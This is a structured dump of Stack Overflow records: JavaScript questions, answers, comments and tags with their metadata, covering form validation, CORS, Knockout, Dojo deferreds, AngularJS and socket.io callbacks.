answers question: http://stackoverflow.com/q/25597102
has comment: http://stackoverflow.com/comment/39984842
accepted answer of: http://stackoverflow.com/q/25597102
score: 0
has body: In your code: function(this) { If the keyword function appears as the first token in a statement, it represents the start of a function declaration and must be followed by a valid identifier that is the function's name, so: function myFunc(...) { You can't use this in a parameter list, it's a keyword which makes it a reserved word and not a valid identifier. If you're looking to pass in an identifier and search for it on the window (global) object and sub–objects, then you might try: function myFunc(name) { // If not set by the call, this will be the global object (window in a browser) // but will remain undefined in strict mode var thisObj = this; // For every enumerable property of thisObj for (var key in thisObj) { // Does name match property name? if (name == key) { console.log('Match found for ' + name + ': ' + thisObj[key]); } // If property is an object, search it too // Set this to the object in the call if (typeof thisObj[key] == 'object') { console.log(thisObj[key]); // Recursively call the function. This may take a very long time, // uncomment at your own risk // myFunc.call(thisObj[key], name); } } } myFunc('alert'); This will find matching enmuerable properties called name on the global object and it's child objects. In strict mode, you'll need to call it like: myFunc.call(this, name); to make sure this is set correctly in the first call.
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/comment/39984341
type: Comment
has text: can you add controller or pid object data structure
comment on: http://stackoverflow.com/q/25597466
score: 0
type: QuestionComment

http://stackoverflow.com/q/25590682
answer count: 3
has title: javascript - redirect if validation success, otherwise stay on the same page
favorite count: 0
upvote count: 2
possible better answer: http://stackoverflow.com/a/25590726
has body: I have an HTML form and I'm using javascript to validate it. I want if the validation is successful -> auto redirect to another page. if the validation fails -> still stay on the form page (for user enter again). Just using javascript, how can I do it? Here is my code Bài 2 Username Password Email
has answer: http://stackoverflow.com/a/25590726
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25590727
has answer: http://stackoverflow.com/a/25590718
type: Question
tagged with: validation
downvote count: 0
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25590718

http://stackoverflow.com/comment/40085447
type: AnswerComment
has text: Note that not all browsers (versions) support the parameters that `toLocaleString` accepts: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toLocaleString#Browser_Compatibility
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25652957

http://stackoverflow.com/a/25599230
has comment: http://stackoverflow.com/comment/40011102
upvote count: 2
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/25599012
has body: Yes, you can. But you need to call ko.applyBindings with the element you wish to apply bindings to. Here's a sample borrowing from the code you posted: HTML: First name: Last name: Hello, ! The name is , age is JavaScript: var myViewModel = { personName: 'Bob', personAge: 123 }; var ViewModel = function(first, last) { this.firstName=ko.observable(first); this.lastName=ko.observable(last); this.fullName=ko.computed(function() { return this.firstName() + " " + this.lastName(); }, this); }; ko.applyBindings(myViewModel, document.getElementById('model2')); ko.applyBindings(new ViewModel("Hello", "World"), document.getElementById('model1')); Note that I changed your ko.pureComputed to ko.computed, as there is no pureComputed in the knockout 3 runtime I was using. Were you using an extension? JSFiddle: http://jsfiddle.net/krpqzwqd/
score: 2
answers question: http://stackoverflow.com/q/25599012
downvote count: 0

http://stackoverflow.com/comment/40168840
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25698980
has text: thanks, but still, where did a and b come from? Where are they defined?
score: 0

http://stackoverflow.com/comment/39940663
type: Comment
score: 1
comment on: http://stackoverflow.com/a/25572306
type: AnswerComment
has text: No, It doesn't change nothing to add a possessive quantifier. Imagine a 50 chars length string with a `,` all the 10 chars. When you find the first `,` at position 10, the lookahead needs to check 40 chars after. When you find the second, 30 chars, etc. For a global search the lookahead has parsed 40+30+20+10 = 100 chars. The same with a 100 chars length string => 900 chars, 200 => 3800, 500 => 24500, 1000 => 99000... *(a book page has about 1500 chars => 223500)* you see the probem. However, for not too long strings this approach will work fine.

http://stackoverflow.com/q/25609258
score: 0
tagged with: cors
answer count: 1
accepted answer: http://stackoverflow.com/a/48384536
tagged with: cordova
has body: I have a phonegap app (currently using phonegap 3.5) and I set up a CORS request thus: function createCORSRequest(method, url, asynchronous) { var xhr = new XMLHttpRequest(); //var n = currentTime.getTime(); var n = 'nocache=' + generateRandomString(10); if (url.indexOf('?') == -1) { n = '?' + n; } else { n = '&amp;' + n; } if ("withCredentials" in xhr) { // Check if the XMLHttpRequest object has a "withCredentials" property. // "withCredentials" only exists on XMLHTTPRequest2 objects. xhr.open(method, url + n, asynchronous); //xhr.setRequestHeader("pragma", "no-cache"); //xhr.setRequestHeader('cache-control', 'no-cache'); } else if (typeof XDomainRequest != "undefined") { // Otherwise, check if XDomainRequest. // XDomainRequest only exists in IE, and is IE's way of making CORS requests. xhr = new XDomainRequest(); xhr.open(method, url); } else { // Otherwise, CORS is not supported by the browser. xhr = null; } return xhr; } I then create a request object: var url = base_url + 'login.php'; var xhrLogin = createCORSRequest('POST', url, false); var formData = new FormData(); formData.append('loginemail','a@b.com'); formData.append('pwd','mypassword'); xhrLogin.send(formData); On the server, I have the following PHP: $postdata = ''; foreach($_POST as $key =&gt; $value) { $postdata .= ' ' . $key . '=' . $value . ';'; } if (strlen($postdata) == 0) { sendResponse(200, 'Error: No post data ' . $postdata, 'text/html'); return; } When I run this code in a browser, straight off the disk (or from Brackets) it works OK no matter what my base_url variable is pointing to. If I run this via the phonegap server (either in a browser or on a device using the phonegap developer app) the form data is posted OK when I target my test server but on the production server it reports that no POST variables exist. In each case I view the network tab in chrome (F12) and verify that the username and password are being sent. If I build the app and run on either Android or iOS it works fine on ei…
has comment: http://stackoverflow.com/comment/40022524
has comment: http://stackoverflow.com/comment/40007539
type: AnsweredQuestion
type: Question
has answer: http://stackoverflow.com/a/48384536
tagged with: javascript
has title: Phonegap FormData not being sent using CORS

http://stackoverflow.com/comment/40021017
score: 0
type: Comment
type: QuestionComment
has text: Very unclear what the problem is, but for trees its best to use a templates that way you can have a recursive viewmdodel and view
comment on: http://stackoverflow.com/q/25616289

http://stackoverflow.com/q/25620037
type: Question
has title: Why my Save button and Cancel Button doesn't show after I clicked the New Product button?
answer count: 1
tagged with: button
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40025769
has comment: http://stackoverflow.com/comment/40025257
score: 0
has comment: http://stackoverflow.com/comment/40025236
tagged with: http://stackoverflow.com/tag/html
has body: I'm a beginner in javascript. When I clicked the New Product button new Row will be added in the table(that worked out). But, Save button and Cancel button supposedly will show up(and it didn't work) and the New Product button will be hidden(still didn't work). Here's a part of my HTML where I declared my buttons and the table. No Name Description Unit Qty 1 Save Cancel New Product Edit Product Delete Product Here is the part of my script. function addRow(tableID) { var table = document.getElementById(tableID); var rowCount = table.rows.length; var row = table.insertRow(rowCount); var cell1 = row.insertCell(0); cell1.innerHTML = rowCount + 0; var cell2 = row.insertCell(1); var element1 = document.createElement("input"); element1.type = "text"; element1.name = "newProdName[]"; cell2.appendChild(element1); var cell3 = row.insertCell(2); var element2 = document.createElement("input"); element2.type = "text"; element2.name = "newProdDesc[]"; cell3.appendChild(element2); var cell4 = row.insertCell(3); var element3 = document.createElement("input"); element3.type = "text"; element3.name = "newProdUnit[]"; cell4.appendChild(element3); var cell5 = row.insertCell(4); var element4 = document.createElement("input"); element4.type = "text"; element4.name = "newProdQty[]"; cell5.appendChild(element4); } $(document).ready(function () { $('#newProd').click(function () { $(this).hide(); $('#saveProd').show(); $('#cancelProd').show(); }); }); Thank you for helping in advance.
has answer: http://stackoverflow.com/a/25620265
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25620265
has comment: http://stackoverflow.com/comment/40025174
has comment: http://stackoverflow.com/comment/40025315

http://stackoverflow.com/comment/40303827
has text: Check your browser's debugger console for network errors. In my experience, that error means a script did not download correctly, or a script was executed in the wrong order.
score: 1
comment on: http://stackoverflow.com/q/25693240
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25592078
possible better answer: http://stackoverflow.com/a/25592153
has body: 1) I have 3 input radio buttons with unique values. For e.g. &lt;input type="radio" id="id1" value="This is first value" /&gt; &lt;input type="radio" id="id2" value="This is second value" /&gt; &lt;input type="radio" id="id3" value="This is third value" /&gt; 2) Next, I have 2 hidden form like this: &lt;form action="//mysite.com/process1.php"&gt;&lt;input type="hidden" id="uniqueid" value=""&gt;&lt;/form&gt; &lt;form action="//mysite.php/process2.php"&gt;&lt;input type="hidden" id="uniqueid" value=""&gt;&lt;/form&gt; 3) Based upon whichever radio button the user clicks, I need to copy its value to the value of both the above forms hidden field. For e.g. If user clicks on radio with id1, then it's value "This is first value" should be copied to both the forms hidden field. CONSTRAINTS: 1) Have to use javascript or jquery, no server side processing available. 2) Note: both the final forms have one input field, but with same id. This is a constraint. 3) Why? Because based on some other actions on the page, the user gets to see one of the 2 forms. The only difference between them is their action is unique. All fields are same. WHAT I HAVE SO FAR: Using this, I am able to copy the value from the radio button to a hidden field's value, but it only copies to a field with a UNIQUE ID. var $unique = $("#unique"); $("#radio1").keyup(function() { $unique.val(this.value); }); $("#email").blur(function() { $unique.val(this.value); }); Can someone guide as to how can the value be copied to multiple input fields, but with same id's? (Yes, the id's of the initial radio buttons can be unique.)
tagged with: forms
has answer: http://stackoverflow.com/a/25592153
type: Question
accepted answer: http://stackoverflow.com/a/25592109
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25592527
has comment: http://stackoverflow.com/comment/39974190
has answer: http://stackoverflow.com/a/25592299
tagged with: http://stackoverflow.com/tag/html
downvote count: 0
favorite count: 0
has title: Copy input field's value to multiple hidden fields... but with same ID's?
answer count: 5
has comment: http://stackoverflow.com/comment/39974216
has answer: http://stackoverflow.com/a/25592109
upvote count: 1
has answer: http://stackoverflow.com/a/25592155
type: AnsweredQuestion
score: 1

http://stackoverflow.com/comment/39976482
has text: @Joe - I tried that. The problem is the URL loads an animation and for some reason the second animation won't initiate when I do it this way.
comment on: http://stackoverflow.com/q/25593282
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25611886
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
tagged with: picasa
score: 0
type: Question
has body: I tried with php, but It's too slow because It uploads twice for a image (user -> my server -> picasa). Is there any api or something to upload directly to picasa without server?
has answer: http://stackoverflow.com/a/25611931
tagged with: javascript
has title: Is there any way to upload photos directly to picasa web albums without server side language?
answer count: 1

http://stackoverflow.com/comment/40138820
comment on: http://stackoverflow.com/q/25682380
has text: What platform? Or you require it to work on all? (unix/linux/windows/mac)
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/25691527
has body: I need to parse a json string with JSON.parse() but somethimes the input is not in the full format. for examle: { "x" : "x", "x1" : "x1", "x2" : "x2, "x3" : And the parsing is breaking obviously. But in this case I want to "save" the valid rows. Is it possible?
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/json
type: Question
tagged with: javascript
has title: JSON parse valid rows of invalid string
score: 0
has comment: http://stackoverflow.com/comment/40155085
upvote count: 1
has comment: http://stackoverflow.com/comment/40155122
has comment: http://stackoverflow.com/comment/40155060
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/40155057
favorite count: 0
tagged with: parsing
has answer: http://stackoverflow.com/a/25691907
accepted answer: http://stackoverflow.com/a/25691907
has comment: http://stackoverflow.com/comment/40155056

http://stackoverflow.com/comment/39982711
score: 0
comment on: http://stackoverflow.com/q/25596658
type: QuestionComment
has text: You do realize that this "diary" is going to be reset to zero every time you load the page, right?
type: Comment

http://stackoverflow.com/comment/39923245
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25563366
has text: Speak.something would be static: http://stackoverflow.com/questions/25253831/javascript-inherit-static-and-instance-methods-properties/25255577#25255577 prototype is shared by instances: http://stackoverflow.com/questions/16063394/prototypical-inheritance-writing-up/16063711#16063711
score: 0

http://stackoverflow.com/q/25651805
upvote count: 1
tagged with: dojo
type: AnsweredQuestion
score: 1
accepted answer: http://stackoverflow.com/a/25651987
type: Question
downvote count: 0
answer count: 1
tagged with: javascript
tagged with: esri
tagged with: arcgis-js-api
has body: I am looking to query any attachments of layers based on the results of an Identify Task. If there are attachments on the layer, I would like to add the links to the bottom of the infoTemplate. I am having trouble working the multiple dojo Deferred objects. I know they are being resolved because the return values are logged in the console, but my infoWindow is never populated. So what is the proper way to deal with several nested deferreds? Deferred Lists seem to be a step in the right direction, but I am unsure how I would format one in this situation. Thanks, Joe Update: I have updated my working code below. map.on('click',executeIdentify); function executeIdentify(evt) { identifyParams.width = map.width; identifyParams.height = map.height; identifyParams.geometry = evt.mapPoint; identifyParams.mapExtent = map.extent; var deferred = identifyTask.execute(identifyParams); deferred.addCallback(function(deferredResult){ var promiseList = [] var features = array.map(deferredResult,function(result) { var feature = result.feature; var content = ""; array.forEach(Object.keys(feature.attributes),function(attr) { content += attr + ": " + feature.attributes[attr] + " " }); var url = identifyTask.url + "/" + result.layerId + "/" + result.feature.attributes.OBJECTID + "/attachments?f=json" var req = esriRequest({url:url}).then(function(newDef) { if (Object.keys(newDef).toString() == "attachmentInfos,_ssl") { content += " Attachments: " array.forEach(newDef.attachmentInfos,function(attach) { content += "" + attach.name + " " }) } content += " "; console.log(result) feature.infoTemplate = new InfoTemplate(result.layerName + " " + result.feature.attributes.OBJECTID,content) // console.log(feature) return feature },function(newDef) { feature.infoTemplate = new InfoTemplate(result.layerName + " " + result.feature.attributes.OBJECTID,content); // console.log(feature) return feature }); promiseList.push(req); }); var promiseAll = new all(promiseList) promiseAll.then(function(r) {prom…
has title: How to Handle Nested Dojo Deferreds
favorite count: 0
has answer: http://stackoverflow.com/a/25651987

http://stackoverflow.com/comment/39900830
comment on: http://stackoverflow.com/a/25552479
score: 0
has text: Don't use the [deferred antipattern](https://github.com/petkaantonov/bluebird/wiki/Promise-anti-patterns#wiki-the-deferred-anti-pattern)! You even know of [`$.when`](http://api.jquery.com/jQuery.when/)!
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40129863
type: QuestionComment
score: 2
has text: In what browser are you testing? It works as expected in Chrome. http://jsfiddle.net/drzfmgba/
comment on: http://stackoverflow.com/q/25677681
type: Comment

http://stackoverflow.com/q/25698804
has answer: http://stackoverflow.com/a/25698828
has answer: http://stackoverflow.com/a/25698900
tagged with: javascript
tagged with: jquery
upvote count: 1
tagged with: http://stackoverflow.com/tag/html
favorite count: 0
downvote count: 0
has body: I want to display the characters of a string, stored in an array, one by one. When I call threadsleep(a) using the following code: http://jsfiddle.net/thefiddler99/re3qpuoo/, it appears all at once. The problem lies somewhere here I presume for (var i = 0; i &lt; str.length; i++) { $('#hello').append(str[i]) alert("foo") sleep(500) }; The alert shows that everything is working properly except that the interval between each is not present. I cannot figure out why. Note: Sleep is a function I have defined that works for the set amount of time
possible better answer: http://stackoverflow.com/a/25698900
has title: Appending to empty element does not work
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25698828
score: 1
type: Question
answer count: 2

http://stackoverflow.com/q/25640912
answer count: 1
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25641143
upvote count: 1
has answer: http://stackoverflow.com/a/25641143
has body: I'm trying to figure out how events that are triggered by user actions happens exactly. In the following example, can the event ever happen in between the two functions causing only the second function to execute? var mouseDown = false; element.addEventListener('mousedown', function(evt) { mouseDown = true; }, false); function loop() { doSomething(); // Can mouseDown be set to true here? doSomethingElse(); mouseDown = false; requestAnimationFrame(loop); } function doSomething() { if (mouseDown) { // Do something } } function doSomethingElse() { if (mouseDown) { // Do something else } } Can this happen or is the event deferred to between loop rounds?
favorite count: 0
downvote count: 0
has title: Can the mousedown event happen in the middle of a loop?
type: AnsweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/40063080
type: Question
tagged with: game-loop

http://stackoverflow.com/q/25665897
tagged with: javascript
has comment: http://stackoverflow.com/comment/40107943
has comment: http://stackoverflow.com/comment/40107940
has title: Can't Open Page in New Tab Using Javascript
has comment: http://stackoverflow.com/comment/40107964
score: 0
has answer: http://stackoverflow.com/a/56962187
answer count: 1
tagged with: url
has body: I can't figure out how to open a new tab using JavaScript. I went through related questions but nothing worked for me. I want the browser to open a new tab when someone clicks on the link (example.com) below. What code should I add and where should I place that code? My html code is here - Thank you in advance.
linked to: http://stackoverflow.com/q/25663805
tagged with: tabs
has comment: http://stackoverflow.com/comment/40107938
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40107939
tagged with: google-chrome
type: Question
has comment: http://stackoverflow.com/comment/40107942
has comment: http://stackoverflow.com/comment/40107941
tagged with: firefox

http://stackoverflow.com/q/25665491
downvote count: 0
favorite count: 0
tagged with: angularjs
has title: Processing objects with meaningful keys in ui-bootstrap typeahead
tagged with: twitter-bootstrap
has answer: http://stackoverflow.com/a/25667089
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25667089
has body: Angular ui-bootstrap typeahead is a great library and I like the fact that it imitates the syntax inside Angular select directive. Still it seems that this imitation is not perfect. Do I undertand correctly that I can't use this object as the source for the typeahead? var myObject= { '41': { term: 'cell morphological classification specialist'}, '42': { term: 'classification specialist'}, '43': { term: 'cell electrophysiological classification specialist'}, '44': { term: 'cell morphological reconstruction specialist'}, '45': { term: 'cell electrophysiology recording specialist'}, } If I used angular select directive, I'd just use the following construction to load this object as possible options: select id as details.term for (id , details) in myObject Does it implies that I have to avoid such objects in my application and use this form instead? [ {id: '41', term: 'cell morphological classification specialist'}, {id: '42', term: 'classification specialist'}, {id: '43', term: 'cell electrophysiological classification specialist'}, {id: '44', term: 'cell morphological reconstruction specialist'}, {id: '45', term: 'cell electrophysiology recording specialist'}, ];
type: Question
possible better answer: http://stackoverflow.com/a/25668503
has answer: http://stackoverflow.com/a/25668503
tagged with: javascript
score: 4
tagged with: angular-ui-bootstrap
upvote count: 4
answer count: 2

http://stackoverflow.com/comment/40024388
type: Comment
comment on: http://stackoverflow.com/a/25618040
has text: `calcBounds` will use the center that has been passed as argument, when you always pass the center of the map it will always use this point. Example using the center of your given LatLngBounds instead: http://jsfiddle.net/0c9rnyf8/ (I've added some markers because the rectangles are hard to find at higher zoom-levels)
type: AnswerComment
score: 1

cors
type: Tag
tag name: cors
tags question: http://stackoverflow.com/q/25610598
tags question: http://stackoverflow.com/q/25568211
tags question: http://stackoverflow.com/q/25609258

http://stackoverflow.com/q/25678230
has title: ng-show works but shows both divs quickly
score: 0
has answer: http://stackoverflow.com/a/25678278
has body: So, using an Angular.js controller I grab a result set from the database, the data is irrelevant. When the result comes back false (no rows found) the correct div shows "empty!". When the result comes back true, the div "empty!" shows for a split second and then "results!" shows. The behavior reminds me of jQuery .hide(), I put my code below, but I still can't figure out why this behavior is happening? HTML: Products add results! empty! Angular controller: mbpApp.controller('ProductsCtrl', function(httpService, $scope) { httpService.productCategoriesFindAll().then(function(d) { $scope.data = d; if(d.status) { $scope.categoriesFound = true; } else { $scope.categoriesFound = false; } }); });
answer count: 1
tagged with: javascript
has comment: http://stackoverflow.com/comment/40131347
accepted answer: http://stackoverflow.com/a/25678278
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40131566
tagged with: angularjs
type: Question
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/39930606
type: Comment
type: QuestionComment
has text: I got the problem, you are saying in `if($("input[value=delete]").click())` so this condition will always be true, because you are saying triggering click event of button having value `delete`, instead check somehow that this button is clicked.
comment on: http://stackoverflow.com/q/25568721
score: 0

http://stackoverflow.com/a/25627383
answers question: http://stackoverflow.com/q/25627192
has body: Use getTimezoneOffset() in JavaScript to get the offset, then apply that to make all of the times in the local GMT JavaScript getTimezoneOffset() Method
score: 0
type: Answer

http://stackoverflow.com/comment/40160133
has text: Try `cordova.fireDocumentEvent('backbutton')` and see if that works better?
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25686064

http://stackoverflow.com/q/25581970
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/25581988
favorite count: 0
tagged with: angularjs
has answer: http://stackoverflow.com/a/25583347
has body: I would like to push the elements into an array in a desired format My code is : var arr = []; for(var i = 0; i &lt; $scope.reportRangeList.length; i++) { arr.push($scope.reportRangeList[i].businessName , $scope.reportRangeList[i].total1); alert(JSON.stringify(arr)); } where $scope.reportRangeList is a JSON dynamic object for the above the code i got the output like : [ "abc",1820, "pqrs",2349.67 ] Now i want to display the output like : [ "abc",1820 ], [ "pqrs",2349.67 ] Please help me to display output in a desired format in java script or angular or j query .
has title: How can I push the elements into array in a desired format
type: AnsweredQuestion
upvote count: 1
downvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/25583347
possible better answer: http://stackoverflow.com/a/25581983
tagged with: arrays
has answer: http://stackoverflow.com/a/25581983
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/comment/39986797
comment on: http://stackoverflow.com/q/25598676
has text: Yes. I updated my question and you can see how I created the link button in codebehind file and bind it to the place holder in ascx file.
score: 0
type: Comment
type: QuestionComment

server-sent-events
tags question: http://stackoverflow.com/q/25561508
tag name: server-sent-events
type: Tag

http://stackoverflow.com/a/25558806
downvote count: 0
score: 1
upvote count: 1
has body: By attaching it to the window object. window.game = game;
answers question: http://stackoverflow.com/q/25558504
type: Answer

http://stackoverflow.com/comment/40169923
comment on: http://stackoverflow.com/a/25699313
type: Comment
has text: you may need to use a timer to avoid firing too many requests at the same time
score: 0
type: AnswerComment

http://stackoverflow.com/q/25579416
has comment: http://stackoverflow.com/comment/39952365
has answer: http://stackoverflow.com/a/25579672
accepted answer: http://stackoverflow.com/a/25579725
has body: Ok so I have a little issue here, $("#WhoAreWe").click(function(){ $("#Image").hide(); $("#Two").slideUp(1000); $("#Third").slideUp(1000); $("#Fourth").slideUp(1000); $("#WhoAreWe").hide(); $("#WhoAreWe2").slideToggle(3000); $("#IDs").slideDown(3000); $("#main").click(function(){ alert("Pressed Back"); }); (The alert is just a place holder) Basically the #main is the entire page, and when any point on the site is pressed. It works fine but the problem is that when I first press #WhoAreWe it also runs the $("#main") function. My problem is that whenever WhoAreWe is pressed, main also runs. I don't want this, I just want it to run when the user clicks anywhere on the page AFTER clicking on WhoAreWe. Edit: Just to make it clear, #WhoAreWe is a Div (Text). main is the ENTIRE PAGE
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25579672
has title: Delaying a jQuery .click function
type: Question
has comment: http://stackoverflow.com/comment/39952345
has comment: http://stackoverflow.com/comment/39952793
has comment: http://stackoverflow.com/comment/39952501
has answer: http://stackoverflow.com/a/25579817
tagged with: javascript
has comment: http://stackoverflow.com/comment/39951871
has comment: http://stackoverflow.com/comment/39951977
score: 0
answer count: 3
tagged with: jquery
has answer: http://stackoverflow.com/a/25579725
has comment: http://stackoverflow.com/comment/39952210
has comment: http://stackoverflow.com/comment/39951952

http://stackoverflow.com/a/26962790
answers question: http://stackoverflow.com/q/25687831
upvote count: 1
has comment: http://stackoverflow.com/comment/97322659
has comment: http://stackoverflow.com/comment/43796496
has comment: http://stackoverflow.com/comment/42575841
type: Answer
has comment: http://stackoverflow.com/comment/42541207
has body: The way you are refreshing the layer is working fine. Here is your code edited to prove this: Map Testing I added a visibility property to toggle the layer every 2 seconds. You will notice how it turns on and off. Because the way you called it I think it did not have enough time to refresh. Also I added the interval in the initMap function after the layer's map was first set. Hope that helps. EDIT. Just to add to this, where the traffic is real time where supported, in some cases its based on historic data and will not refresh over a short period. But the traffic data is fetched at the time of each request as specified in the docs: https://developers.google.com/maps/documentation/javascript/trafficlayer#traffic_layer
downvote count: 0
has comment: http://stackoverflow.com/comment/42521059
score: 1

http://stackoverflow.com/a/25668129
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25667986
type: AcceptedAnswer
downvote count: 0
has body: Use scrollTop and change the CSS property: http://jsfiddle.net/u5c51ubk/3/
accepted answer of: http://stackoverflow.com/q/25667986
has comment: http://stackoverflow.com/comment/40112661
type: Answer
has comment: http://stackoverflow.com/comment/40112869

http://stackoverflow.com/a/25579069
has body: You can't send headers after your output. Just redirect the user thru javascript all the way instead. echo ' ';
type: Answer
score: 2
answers question: http://stackoverflow.com/q/25579053
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25579053
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/q/25591071
has title: socket.io and node callback functions not working
answer count: 1
tagged with: asynchronous
tagged with: node.js
type: AnsweredQuestion
tagged with: socket.io
type: Question
has body: I'm having a really difficult time grasping asynchronous callbacks and variable storage in socket.io. I want the code in the callback function to be executed after all the queries are made. However, I don't know where to place the callback() method call so it executes after everything is finished. I would greatly appreciate any and all help. //The code below queries a database and stores the information in a json object. var mysql = require('mysql') var io = require('socket.io').listen(3000) var db = mysql.createConnection({ host: '', user: '', password: '', database: '', port: 3306, }) db.connect(function(err){ if (err) console.log(err) }) console.log(1); io.sockets.on('connection', function(socket){ socket.on('key', function(value){//client side has a onclick() function that emits 'key' console.log(2); var total = {}; var personalTable = [] var liwcTable = [] var id = value; help(total, function(total) { console.log(4); console.log("total = " + JSON.stringify(total)); socket.emit('total', total);/emits to client }); function help(total, callback) { console.log(3); db.query('SELECT * FROM `a` WHERE `userId` =' + id) .on('result', function(data){ liwcTable.push(data) }) .on('end', function(){ total["initial liwcTable"] = liwcTable; }) db.query('SELECT * FROM `b` WHERE `userId` =' + id) .on('result', function(data){ personalTable.push(data) }) .on('end', function(){ total['personalTable'] = personalTable; }) callback(total)//needs to be executed after the queries are done. } }) }) The code goes into the callback method before the queries have a chance to finish. I also don't understand how I can be updating my json object "total" when the scope of the query callbacks are limited.
tagged with: javascript
has answer: http://stackoverflow.com/a/25591283
tagged with: callback
accepted answer: http://stackoverflow.com/a/25591283
score: 0

http://stackoverflow.com/comment/39900942
comment on: http://stackoverflow.com/a/25552782
type: AnswerComment
type: Comment
score: 0
has text: Thanks @dc5 that's the code and everything, really really appreciate mate. I've only been doing javascript for about a week and im still trying to get my head around it all. This really helped!!!

kohana-3.3
type: Tag
tags question: http://stackoverflow.com/q/25616150
tag name: kohana-3.3

http://stackoverflow.com/comment/40192113
has text: you do realize your ship can go from, for example, 26 to 27 right now (which does not exist)?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25711720
score: 1

http://stackoverflow.com/comment/40014903
comment on: http://stackoverflow.com/a/25614197
type: AnswerComment
score: 0
type: Comment
has text: yup it does not match but still it applied the condition.

http://stackoverflow.com/comment/40086073
has text: He's right, .value doesn't work on a td. You have to use `alert(document.getElementById(a).innerHTML)`
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25653343

http://stackoverflow.com/a/50401233
type: Answer
score: 14
upvote count: 14
has body: To be precise: 1e3 stands for 1 * 10^3 Further Examples: 2e2 = 200 and 0.1e2 = 10 See also: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Numbers_and_dates
answers question: http://stackoverflow.com/q/25646062
downvote count: 0
has comment: http://stackoverflow.com/comment/114662125

http://stackoverflow.com/comment/40107982
comment on: http://stackoverflow.com/a/25664129
score: 0
type: Comment
has text: Oh, so it was the same rejected promise and it was duplicated several times?
type: AnswerComment

http://stackoverflow.com/comment/40219524
type: AnswerComment
comment on: http://stackoverflow.com/a/25720884
type: Comment
score: 1
has text: We probably won't be doing anything like method chaining in Ramda. Certainly we won't anytime soon. In a very real sense I'm trying to articulate in a wiki entry or blog post coming soon, the whole point of the library is to enable the functional composition style that's been difficult to do in JS. I think the method chaining would just be a distraction at the moment. OTOH, we always welcome pull requests!

http://stackoverflow.com/q/25553651
has comment: http://stackoverflow.com/comment/39902598
has body: When you're iterating over a javascript array using forEach, the object (obj in the example below) can be modified, and it will alter the original object in the array. But if you delete it, why doesn't it remove it from the array? The following code doesn't appear to modify the array at all. var myArr = [{test: 1},{test2: 2}]; console.log("before", myArr); myArr.forEach(function(obj) { delete obj; }); console.log("after", myArr);
answer count: 4
has comment: http://stackoverflow.com/comment/39903415
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25553689
tagged with: javascript
has comment: http://stackoverflow.com/comment/39902503
type: Question
has comment: http://stackoverflow.com/comment/39903094
has comment: http://stackoverflow.com/comment/39903052
score: 0
has title: Deleting an object in a for loop
has answer: http://stackoverflow.com/a/25553689
has answer: http://stackoverflow.com/a/25553770
has answer: http://stackoverflow.com/a/25553915
linked to: http://stackoverflow.com/q/742623
has answer: http://stackoverflow.com/a/25554257
possible better answer: http://stackoverflow.com/a/25553770

http://stackoverflow.com/q/25566018
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39932218
score: 1
has body: The elements are aligned properly when I run my website locally. This is the expected result: However, On my Webpage, the elements are aligned to the left. I've tried this but it's still the same. What I don't understand is why is it working on my local machine and not on the server? How do I fix this? Related HTML code : Kaushaya Home About Work Skills Contact Blog
linked to: http://stackoverflow.com/q/22297047
answer count: 2
accepted answer: http://stackoverflow.com/a/25566238
has title: Bootstrap 3 Navbar elements not aligned properly
downvote count: 0
tagged with: javascript
favorite count: 0
has comment: http://stackoverflow.com/comment/39926342
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has answer: http://stackoverflow.com/a/31327736
has comment: http://stackoverflow.com/comment/39925630
tagged with: twitter-bootstrap
has answer: http://stackoverflow.com/a/25566238
upvote count: 1
possible better answer: http://stackoverflow.com/a/31327736
type: Question

http://stackoverflow.com/a/25622291
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25622037
downvote count: 0
has body: You'll want to consider the following: Share session (cookies) between subdomains in Rails? #config/initializers/session_store.rb YourApp::Application.config.session_store :cookie_store, key: '_yourapp_session', domain: :all, tld_length: 2
type: Answer

http://stackoverflow.com/q/25601773
has comment: http://stackoverflow.com/comment/39992095
tagged with: javascript
has title: How to trigger a custom event in capture phase
score: 0
tagged with: events
has answer: http://stackoverflow.com/a/38843811
possible better answer: http://stackoverflow.com/a/77858514
has answer: http://stackoverflow.com/a/77858514
has comment: http://stackoverflow.com/comment/40006871
